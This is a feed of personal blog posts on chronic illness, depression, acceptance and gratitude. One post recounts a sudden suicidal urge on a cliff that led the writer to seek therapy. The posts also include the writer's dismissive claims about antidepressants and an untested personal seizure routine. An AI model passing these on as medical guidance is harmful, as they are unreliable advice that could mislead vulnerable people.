When letting go of the past is difficult
Why we need to accept life as it is


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]]> 1174 3 reasons your life is always turbulent and 3 ways to stop it https://blissfullyhealing.com/3-reasons-your-life-is-always-turbulent-and-3-ways-to-stop-it/ Mon, 07 Jan 2019 19:51:46 +0000 https://blissfullyhealing.com/?p=1112 Everyone can testify to having challenges in life. The poor, rich, young, old, healthy, sick, strong and weak. Everyone has obstacles to overcome. The true challenge in life isn’t that we have difficulties to face, its that we do not …

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]]> Everyone can testify to having challenges in life. The poor, rich, young, old, healthy, sick, strong and weak.

Everyone has obstacles to overcome. The true challenge in life isn’t that we have difficulties to face, its that we do not know how to effectively deal with them. We have not been given the information or the necessary training and tools to efficiently and gently deal with the circumstances that we face.

Gratitude
Photograph by Milada Vigerova on Unsplash

Personal experience:

I cannot say that my life has been a walk in the park, it has not.

I also don’t think that everyone else’s lives have been all about rainbows and candy canes. For the most part, my life has been filled with turbulence, storms, hurricanes, and earthquakes.

I never understood and still don’t understand the nature of my life, but I know that each chapter, regardless of how painful and challenging, has a purpose greater than itself.

The most important concept that has helped me change how I live the turbulence in my life is the fact that I can make choices and changes that will empower how I interact with the thunderstorms and floods.

I know that I cannot change the external circumstances of my life, but I can change how I interact with life.

1.Living with a should mentality:

Living in the constancy of “should” makes it impossible for you to simply ‘be’. The concept of should takes away the very important value of being enough.

The biggest downfall in most people’s lives is their mentality.

How you think affects how you act, which affect how you live. Your mentality makes or breaks the quality of your life.

For example: If you are constantly thinking that you should be 120 pounds and you are currently 145 pounds, your weight is simply not good enough, you will take the time and effort to sell yourself reasons why your weight (thus you) are not good enough. Then, you will project images and ideas of how perfect you will be when you lose the weight and finally have the body that you “should” have.

This is a destructive concept that is applied to all aspects of life; ourselves, cars, houses, spouses, careers, wealth etc.

For most people, the gap between reality and “should” is the biggest source of stress, discontent, depression, and anxiety.

Solution:

Start focusing less on what “should be” and put more focus on “what is”.

When you truly understand what is, and accept it for what it is, life becomes simpler, more pleasant and worthwhile.

Tools:

Meditation:

Learning how to meditate will help you learn how to accept what is. There are many benefits to meditation, although, the most beneficial aspect to me has been the ability to observe things as they are and accept them for what they are.

Accepting life as it is now has changed how I value myself and the journey of life.

Meditation will function as a bridge for you as you work to close the gap between expectations and realities of who you are, what you have, and where you are in life.

2. Expecting and demanding more than you are capable of:

This brings about the important concept of simplicity.

We live in a world of things, manufactured by things, for things. We are taught early in life to want and acquire as many things as possible whether we are capable of affording them or not.

Well, if we are not able to afford it now, we can do one of two things, or possibly both things. We can either borrow (live on credit) to keep up with the Jones’s, or we can break our backs becoming rich so we can get the stuff. And when we do get rich, we can also live on credit while breaking our backs to keep up with the Kardashians.

The idea becomes, the more the merrier. The only problem with that advice is that the true nature of life is actually, the less, the better.

You do not need a 3 bedroom house that is $200,000 above your budget if it’s only a family of 2. You also do not need 3 cars, 1 motorcycle, and a moped for those same 2 people.

You also do not need the $500 shoes, or suit, or the daily Starbucks drinks that cost you hundreds of dollars over your budget every month.

The things you need are simple, very basic, and when you look into it, you will find that you already have them. Perhaps not in the way that you want, but you will realize that you have what you need, and sometimes not what you want.

…And that is O.K.

There is nothing wrong with not having what you want. We are in a greed-driven global society that sells wants as needs and basic needs as poverty. Which creates a sense of shame around not having what everyone else has.

Solution:

You should understand that having the basics is enough to make you content and happy, and that should be enough. This becomes a matter of need vs. want. Learn to live within your means and needs and find solace with that.

Tools:

Create a want vs need list:

Try to think of things in a want vs. need manner. Is it a want based on external expectations or is it a need for a valuable existence?

Sometimes it could be difficult to decide based on a want vs. need rubric, but, if want vs. need does not solve the problem, then bring in factors such as finances, space, the stress involved to acquire the item/s etc.

The basic idea of this exercise is to simplify your life. Put more focus on your needs rather than your wants. Especially if your wants are to live up to expectations.

Hopefully, this will get rid of the “if I don’t have what they have, I am nothing” mentality, and will build on concept 1 above by helping you let go of “shoulds” and simply find satisfaction with basics.

3.Living without gratitude

More, more, more, more, more. This is the global life slogan of the 21st century. More money, more clothes, more shoes, more gadgets, more cars, more houses. More, more, more,more.

The sad truth is that more isn’t better. A bigger source of sad news is that most people do not understand that the simple tool of gratitude breeds abundance.

What?!?! …… Yup!!!

Gratitude makes everything you have greater, better and feel like more than it actually is. So yes, gratitude breeds abundance.

Let’s unfold this concept for a moment before we move on to my point. Think for a second about something you feel is stressing you or you need to change, perhaps your apartment, car, clothes, career, whatever it is. Bring it to mind.

Now put on an imaginary set of glasses that can only see the good in that thing. Think about 5 good things and if you are having a hard time with this exercise, give it a second before giving up. For most people, a flood of negative aspects will come to mind first, causing frustration and sometimes anger.

…

Give it a second.

…

Let the flood of negative mental comments pass, (don’t try to fight them, just let the thoughts be). Now, think about the things you like about that thing. Regardless of how small or big the like is, list it. Now appreciate it for those things you listed.

If you cannot learn how to appreciate the little things, you will never be able to appreciate the bigger matters and aspects of life. And life will simply pass you by.

Solution:

1. Learn to practice active gratitude.

For example, If you are constantly complaining about where you live, actively change the circumstances that are not acceptable. So, declutter your house to create more space, sell a few of the couches to make more room for the kids to play or create an office space, or simply create a viable circumstance so you can move etc.

2.Develop an attitude of gratitude.

An attitude of gratitude will help you appreciate the things you have now, and teach you to cultivate a positive lens for the things that you do not have or like.

Everything has a good and a bad, what you choose to focus on will dictate the quality of your life and how you interact with the people, things and situations in your life.

An attitude of gratitude will teach you to value the good in life, and be actively patient with the bad.

Tools:

Gratitude journal:

I keep a gratitude journal where I write three things I am grateful for through my day. Sometimes they are deep concepts and other times, I am simply grateful to have a comfy bed after a day filled with inflammation and unexplainable aches and pains.

The things you are grateful for do not need to be groundbreaking ideas, they simply need to be the things that put a smile on your face or made you feel at ease that day.

Believe it or not, those things are there, it may be hard to notice them in the beginning of a gratitude practice, but with time and regular practice, the positives will be the main things you notice about your days.

Related Posts:

Why We Need to Accept Life As It Is

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]]> 1112 Why We Need to Accept Life As It Is https://blissfullyhealing.com/why-we-ought-to-accept-life-as-it-is/ Wed, 02 Jan 2019 17:51:13 +0000 https://blissfullyhealing.com/?p=937 Sometimes I spend hours trying to convince myself that this is my life.  Rather, I spend hours trying to accept that this is my life. As it is now. Perhaps it’s as a result of spending hours, or perhaps most of …

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]]> Sometimes I spend hours trying to convince myself that this is my life. 

Rather, I spend hours trying to accept that this is my life. As it is now.

Bruce Christianson on Unsplash

Perhaps it’s as a result of spending hours, or perhaps most of my conscious days refuting my life. I understand that I need to stop refuting my present, but I stand firm in refusing to accept that this will be it for the rest of my life.

Constant miseries followed by constancies of pain, agony, and despair.  It all seems like a never-ending cycle of doomed events.

The Bitter Present

I refuse to accept never-ending agonizing events, painful realities and normalized despair as the fate of the rest of my life. Although I have come to understand that I need and must accept it as my present existence. 

I spend so much time dreaming and daydreaming of the life I want and how I want it, and how it will be. Although that leaves me with a bitter taste in my mouth for the present as it exists.

I know that the future I dream of is not impossible. It is very possible and I know with the right game plan, dedication, and will to put in the effort required to acquire it, it will be.

This is my present and even though I don’t see it, it’s value is priceless. I just need to accept it, understand it and find the sweetness it has to offer before I become bitter for losing this too.

I have come to realize that spending most of my time trying to fix my present makes me lose all of its value. I try to run from it, hide from it and paint it what it is not and by doing so, I create heartbreaking circumstances, that create stress and havoc. By constantly refusing the present as it is, I create resistance that causes pain and difficulty.

Seeking Acceptance

Perhaps I simply need to accept my current circumstances as they are. Accept my present as it is and take the necessary steps to survive it. I know the future is bright, successful and free. But the present presents what it has to offer and it is in my best interest to accept what it’s offering with gratitude, openness and a legitimate action plan of how to get from where I am, to where I want to be. 

I want a life of freedom, adventure, and grounding. 

The future that I want is an investment, and I realize now that the future that I want requires the present that I have. My present circumstances are simply building blocks for the future I so much desire. There are actionable steps to get from here to there, and that is what I need to focus on, I need to learn how to anticipate and hope for the future without creating bitterness for the now.

As I am too busy trying to run from the present, I lose its precious moments. The moments that create meaning, the meanings that make life worth living.

My life is tough, and it has been so for as long as I can remember. But accepting it as it is, when it is, and allowing it to be as it is, when it is, gives me peace. Accepting the circumstance of my present suffering gives me present relief. 

••••

I have realized that my life right now requires contemplation and silence.

A bigger realization has been that silence around nature allows the mind and soul to observe the nature of its current circumstances and gives those circumstances space to take hold or leave. 

The more time I spend contemplating and writing, the clearer things become, the more value I find in the future I seek and the more elaborate and freeing silence becomes.

The present feels almost imprisoning. 

But accepting my circumstances as they are, and allowing them to be temporary gives space for finding peace while experiencing life as it is.

Related Posts:

When Letting Go of the Past is Difficult

Why making peace with the past is important

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]]> 937 When Suicidal Thoughts Are Rampant https://blissfullyhealing.com/when-suicidal-thoughts-are-rampant/ Sat, 15 Sep 2018 19:22:51 +0000 https://blissfullyhealing.com/?p=1026 I remember the day like it was yesterday. It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with …

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]]> I remember the day like it was yesterday.

It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with depression, anxiety, panic attacks, severe agoraphobia and seizures.

Suicidal thougts
Photograph by Daniel Dolson on Unsplash

Backstory:

My physical health wasn’t holding up very well, as has been my norm for the last few years. I was in constant pain, my stomach couldn’t stomach anything, so vomiting, diarrhea and constipation were a norm, and I was always tired. Not just tired, I would spend most of my days and nights in bed and would make significant effort, more like I would need to calculate the energy needed to get up and out to get food, shower or even leave the house, and would need significant rest after expending that energy.

All that coupled with full body inflammation attacks that left me fatigued, in pain, unable to move and simply in tears.

My 4 month trip to Kenya was agonizing to say the least. I had spent the first 3 in a narcissistic abuse pressure cooker and the last month tirelessly fighting to get out of that marriage.

When I landed in San Diego, I cried. A hearty, whole hearted, weeping of release, gratitude and freedom. I was beyond grateful that I had just made my way out of that relationship and given myself a new opportunity of life.

When I came back, I made the effort to re-establish my norm. Of course  I knew it would not be easy or take a short time. Recovery from a narcissist is a lifelong journey that I then added to my list of recovery journeys.

I started with regularly visiting one of my favorite places in San Diego, that during my marriage was a regular piece of contention and argument. The Scripps Oceans Reserve. A rugged cliff 300ft above the crashing waves overlooking the pacific ocean. I made it a regular sunday morning trip.

I was free.

I would go and still go with a thermos of tea and just sit. Observe. Breathe. Exist. Most often, weep, cry and just allow myself to be.

Thoughts That Fight Back

On this fateful day, I made my way to the cliffs early as usual, before the sun fully awakens so I may catch a glimpse of schools of dolphins and other schools of marine life that disappear with the morning fog.

I sat there in contemplation. One of the many things I had been struggling with, were depths of depression that brought/bring about despair and thoughts of suicide. Usually beginning with questions that I can’t seem to find answers to and the spiral brings me all the way down to, so what is the point? Why even try? Wouldn’t death be better than this? Etc etc.

I usually hold my own against these thoughts.

I challenge them, fight them, argue with them, reason with them and most of the time manage to win. By the end of the conversation between myself and I, I manage to offer myself a sense of acceptance and validation of those thoughts and manage to reason myself out of that specific episode.

Usually ending with, why don’t we sleep it off, or watch a cartoon, or whatever else that serves as a positive compromise. During these situations, I treat myself like a separate person and reason, offer care, kindness and whatever else I think I need to help me at that time.

When The Suicidal Thought Becomes Something Else

On this day, there was no thought. There was an urge.

As I sat there, hundreds of feet above the cliff, I drank in the peace that came with this place, closed my eyes, listened to the waves and the silence that comes with isolation.

I was truly at peace, all I have ever wanted was peace.

When I opened my eyes, there was a seagull gently floating above the water, emanating exactly what I was feeling and all I remember was a gentle voice, JUMP and my whole body convulsed to that word.

I stood petrified and in shock .

This time, there was no conversation, no argument, just action. I realized that I was in a much deeper hole than I thought I was. To this point, my doctor had given me multiple referrals to a therapist and a psychiatrist and had been urging me to go during every appointment, which were a lot. But I had been telling myself that I was OK enough to manage.

This incident made me realize that I needed more help than I could and can offer myself.

I walked away.

I didn’t look back or stop to listen or converse with myself. I walked.

Usually, as I walk away from the cliffs, I walk for a little bit, stop,  listen to the waves and look back at the ocean, allowing myself to enjoy the view and sounds of fading waves from different perspectives. But on this day, I didn’t stop, or allow myself to think. I just walked, got into my car and drove straight home.

The next day, I made an appointment with the therapist my doctor had referred me to.

Now, I have two therapists. An EMDR specialist, who I see weekly and my talk therapist, who I see once every two weeks.

Suicidal Thoughts And Depression

When suffering from severe depression, suicidal thoughts can be extremely overpowering. I cannot lie to you, I am not fully out of the gray area of suicidal thoughts.

But I have significant help outside of my head, my therapists help me process what I feel, how I interact with the things that happened and the things that keep happening that make me feel like I just ought to do away with myself.

Is Depression A Spiritual Problem?

No. This is not a spiritual problem.

As a matter of fact, religious rulings pertaining to my divorce were part of the problem that made me feel like I ought to do away with myself. So no, I don’t need to just pray about it and it will go away. NOPE.

Depression is an imbalance in the neurotransmitters of the brain. A lot of things can cause an imbalance in the brain. For me, childhood trauma, severe life challenges and a narcissistic abuse that resurfaced every bit of trauma I have ever experienced in my life, took my already imbalanced brain, into deeper depths of depression than I have ever experienced in my life.

I just wanted death.

Not just death to end it all, but death where the only mercy I would be under is God’s Mercy. There would be nothing but the truth, nothing but what my hands have actually put forward, and nothing but God and I. No man’s opinion of a ruling, or judgement of my actions would be part of the picture.

Managing Suicidal Thoughts

I am still working through my depression and suicidal thoughts.

I refused all psychotic drugs that have been offered to me, as a psychology major, I know how they work and just how destructive they can be. The saddest part about anti-depressants is that they only help about 50% of the people who take them, and cause a whole host of other problems.  I digress.

I decided to take the long way out of this and put my trust in the part of me that wants healing for myself. So I make myself go to my appointments, late or not. I go.

I make myself take care of myself.

I do what I love and what makes me feel worthwhile without thinking too much or I will get all the way back to ‘what is the point?’ and down the cliff we go.

So I dance, sing, workout, write, color, draw, drive, watch cartoons, listen to music, meditate, yoga, tai-chi, kickbox etc etc. Hardest of all, I make myself reconnect with friends. Best of all, I dream, create and fulfill items on a bucket list.

Listening to Depression

If I truly listened to myself, all I would do, always, is isolate myself is my room, with my room darkening curtains drawn, laying in my bed, mind numbing my mind with movies or books. I find that movies and books are an escape, I leave my reality and all the thoughts that create it and jump into something pleasant that makes me feel good about life.

Because I want to respect that part of myself that fights to be left alone, I give myself one day a week when I let myself just be, dark room and all, and truly do as I truly want to do without forcing myself to feel better. Funniest this is, these are the days I feel happiest. 

I realize that sometimes depression just needs to be felt. Not analyzed, feared, threatened or fought. Sometime you just need to listen, experience and accept.

Hope Lives

There is a part of me that sees a bright future for myself, one filled with balance, joy, ease, tranquility, healing, health and best of all global service. But when the lows really hit, none of that truly matters, and no vision is strong enough to make me want to live and I just have to find it in myself to somehow keep hanging on.

Relevant Posts:
16 Must-Haves for dealing with depression

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]]> 1026 When the World Thinks Your Illness is All in Your Head https://blissfullyhealing.com/when-the-world-thinks-your-illness-is-all-in-your-head/ Wed, 12 Sep 2018 19:46:59 +0000 https://blissfullyhealing.com/?p=939 Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we …

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]]> Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we are no longer looking for what the problem is, we are claiming insanity on my part.

The parting sentiments usually flows like this, “Since all the tests I have done are normal, and other doctors seem to have found the same results, perhaps the problem is all in your head.” Of course they don’t use these exact words, but I think I would have preferred those words over the “diplomatic” ways they try to tell me that I may be insane.

Then my question becomes, why should the doctor’s inability to find what I am suffering from turn into a mistake on my part, and not just a mistake, a flaw that questions the validity of my sanity?

illness is all in your head
Photograph by Gabriel Matula (Unsplash)

Unfortunately, doctors are not the only ones suffering from this delusion, if I may call it that.

See, I cannot explain my illness because it has not offered me a name to understand it with. Even though I put fair effort in trying to find it. I understand my symptoms, what causes them, how they begin and what to do to keep them at levels 1-3, and what steps to take when they elevate into higher stages.

That I know.

What I don’t know is, what I have, how it began and why it began.

Those are questions I cannot answer.

How I Deal with My Illness:

I try my best not to talk about my illness to people unless they know something about my health history, inquire about it, or if my illness interferes with scheduled plans. This is my general rule on how to interact with my illness when third party individuals are involved.

For the most part, I deal with 3 different groups:

1.  I have the group of people who have seen me at my worst and therefore don’t ask questions. Seeing is believing.

2.I have the group of people who have seen me in alright terms, have heard about my illness and have some questions about it. 

3.Then I have the people who only see me when I am in good terms, on good days, have heard about my illness and have many questions about it.

Usually group 3’s questions are coated with assumptions such as ‘if the doctors can’t find what it is, maybe its all in her head’. This group has been the toughest on my sanity. Their attitude and general demeanor towards my illness makes me feel as though I needed to prove my illness to them, perhaps if they see me at my worst they will understand the severity of my situation.

 

Mind Over Matter?

Perhaps I wouldn’t have minded group 3’s thoughts if those thoughts did not turn into conversation pieces. It doesn’t really bother me if people talk among themselves regarding my illness. I have no control over that.

What bothers me, is when the conversations are directed to me … as advice. 

Usually as a mind over matter topic.

“It’s all in your head. You ought to just tell your mind you are am not sick and see what happens”…

 

I suppose if I tell my mind that there is nothing wrong with me, the allergies, flare-ups, brain-inflammation, bronchitis, asthma attacks, swollen glands, aching joints, nausea, vomiting, fatigue, seizures, panic attacks, sharp shooting flutterings and everything else will miraculously go away.

 

Perhaps I would not have minded their ‘advice’ either, had it not wounded my self-regard and tested my sanity. Maybe it would have been easier to forgive their conversations had they not tried to convince me that I am truly at fault for understanding that I am ill, and making me feel like  I need to prove something to them. I would have forgiven their words much sooner had the words not made me question my own mental capacity, doubted my mind, mistrusted my body and learned to listen to their words rather than the very loud cries for help my body screams.

 

What People Need To Understand About Invisible Chronic Illness

What most people need to understand is that someone with an invisible chronic illness has no control over their pains, their reactions to things (environment or otherwise) or the timing of an attack (I’ve had seizures at some very unlikely times and places).

What we have control over is WHAT we do about it. What we choose to do about that seizure that happens at work, that full body inflammation that happens at a store, that mysterious 105 degree fever that popped out of no where while hanging out with friends. 

When the event happens or starts to happen, we have a choice on how to deal with it, and most of the time run a fast cost analysis in our heads to see what the best course of action would be. We need to maintain the lowest level of physical damage and preserve the least amount of pain. 

For instance, sometimes when I have a seizure, it starts with everything becoming blurry and I get extremely dizzy whether I am sitting or standing. Then my body becomes extremely heavy and difficult to move, then come gentle convulsions that increase in severity as the seconds progress, sharp shooting pains all across my brain and body, along with difficulty speaking, followed by full body paralysis. (This is not what all my seizures look like, but some look like this)

I know that I need to have someone help me lay on my right side and the convulsions will subside and if no one is there, and laying down isn’t a safe choice, I remain as I am to prevent falling and hitting my head. With time I will regain control over my limbs, speech and everything else. I have not studied whether this is the correct procedure, but it works for me. I usually knock out soon after the convulsions stop, and when I wake up I have extreme fatigue for a few days. A big seizure usually means that if I don’t rest, take it easy, and take something to calm my mind, a few other seizures are lurking in the corridor. 

The Choices I Make & The Things I Control

I can choose what to do when I face an attack, but I have no control over the fact that I have an invisible chronic illness or when a severe attack will occur.

For me, everything has a trigger, but as much as I would like to know and  understand all my triggers. I don’t.

So most times, when the attacks happen, whether its a seizure, a flare up or whatever else, my choice is to deal with them in the moment they happen as best as I can. Then I think over the situation I was in when the attack happened and I log that as a possible trigger. With that information,  I become vigilant and careful not to have another attack when those similar conditions arise. 

This much I can control, but whether I have an invisible illness that causes seizures and a host of other painful symptoms is not something I can control.

 

Realizations That Matter

I have come to realize that as much as I want my illness to matter to people, and for them to understand it, it doesn’t. What matters is that I understand my illness and accept it as it is. I do not need to prove to anyone that I have an illness even if doctors can’t figure it out (at the moment), and I keep getting rushed to the hospital with various illnesses so often. 

Accepting my illness is a gift on it’s own, and once I learned to accept it, I realized that whether people acknowledge it’s existence or not, doesn’t really matter. What matters is the reality I face when an attack happens and I have observed enough to know what to do about it. 

What matters the most is that I know I have an invisible illness, the people that matter know that I have an invisible illness and when push comes to shove, my body knows that I will do what I can to help it re-establish an equilibrium when an attack occurs.

 

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]]> 939 When Letting Go of the Past is Difficult https://blissfullyhealing.com/when-letting-go-of-the-past-is-difficult/ Sat, 08 Sep 2018 17:28:01 +0000 https://blissfullyhealing.com/?p=928 I am having a hard time letting go of the past. It’s not like I’ve struggled with it before, this time it’s different.    The Body Remembers. Before, I would struggle with letting go in a very physical, painful, heart …

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]]> I am having a hard time letting go of the past.

It’s not like I’ve struggled with it before, this time it’s different. 

 

The Body Remembers.

Before, I would struggle with letting go in a very physical, painful, heart and gut-wrenching manner. As most people with trauma understand or will come to understand, trauma manifests itself in the body in various ways. As I struggled to emotionally release and let go of the past, my body just would not let go.

My body has not fully learned to let go of its past traumas, but breathing exercises, yoga, chiropractic (spinal subluxation) corrections, exercise, kickboxing, and dance are slowly getting me to the place I need to be.

Not to mention the efforts I put into the journey of understanding my chronic illness to find recovery and wellness. All these have become tools that are helping my body become more aware of itself and release what is no longer beneficial for it, which at the moment seems to be almost everything. 

 

Letting go
Daniel Jensen on Unsplash

Mental and Emotional Hang Ups

This time around, the difficulty of letting go is emotional and mental. Old ideas manifest themselves emotionally and make the past seem comfortable regardless of its trauma. 

Here, there is a fear of the unknown. 

As I work to accept my past, to reconstruct my present and redirect the direction of my future to a more positive, purposeful, intentional and freeing one, I struggle to let go of the comfort of knowing a turbulent life. 

I am Afraid of Letting Go

Even though I feel ready to let go and I am putting in the effort and work required to let go, my mind and emotions wonder about the validity of the type of life I seek and whether letting go of my past, it’s old ideas and its consequences is a good idea. 

To be fair with myself, I have been in the wallow of my past, it’s agonies, tribulations and the constant brace for impact for 27 years, that letting go and simply living, and enjoying life is creating backlash.

When you are born on a battlefield, trying to leave its destructive ways can be self-destructive in itself. Not in a bad way though, in the way that, when trying to make a change, get an improvement, or do major reconstruction, things always get worse before they get better.

 

When The Past Feels Safe

I have come to feel at ease with disease, difficulty, tension, trauma, and pain. Trying to reconstruct my life so I may live with ease, and simplicity makes me feel as though I am losing something precious and I ought to hold on forever. 

There is a part of me that feels as though it is about to get abandoned, forgotten and unimportant. This part of me that has been the most important for almost 3 decades, it learned to adapt to struggles and thrives in pain and is desperately hanging on to the past and it’s agonies because that is all it knows.

Being that this part of me has been the most dominant for so long, I understated why it may be feeling unappreciated by letting go of what makes it thrive.

 

Offering Myself Gratitude

I once mentioned to my chiropractor that I was having difficulties letting go of the past, and he advised me to offer gratitude to whatever part of me that is offering resistance. I then realized that I needed to thank that part of me that learned to survive and got me all the way to where I am now. 

Not that I am willing and ready to forget it and the massive contributions it has offered to my life. No. I am ready to offer it change, joy, ease and a more positive, fulfilling way of life and living.  

So I offer it gratitude as I slowly make steps out of the past into the present with the anticipation for a fantastic future. 

The part of me that wants healing, ease, joy, laughter, travel, exploration and the thrill of simply living is determined to make life worth living. No longer living to barely survive physically, emotionally, spiritually and financially, but living to find the beauty in silence, noise and everything in between. 

 

Giving Myself Space to Discover

For a good deal of time, I would look at my life and argue with it. I would always say, “this isn’t it, this can’t be the point of life”. And I was right, living in constant, pain, agony and fear isn’t living, it’s not even surviving, it’s drowning. And the worst part of it, it’s conscious drowning. You feel every pang, every pinch, and notice as your body convulses for air, until it gives up, and you watch as the light above the water disappears into the distance above, as the weight of your past slowly drags you to bottom. Then you learn to survive and thrive in the dark abyss of never-ending drowning.

As I continue to contemplate, write and converse with myself about letting go of the old to allow room for the creation of the new, I understand that there is healing, wisdom, and purpose in the process. And like most things, I just need to keep working on it, observe it’s progress and let the process finds it’s own destination at its own time.

Related Posts:

Why making peace with the past is important
Why we need to accept life as it is

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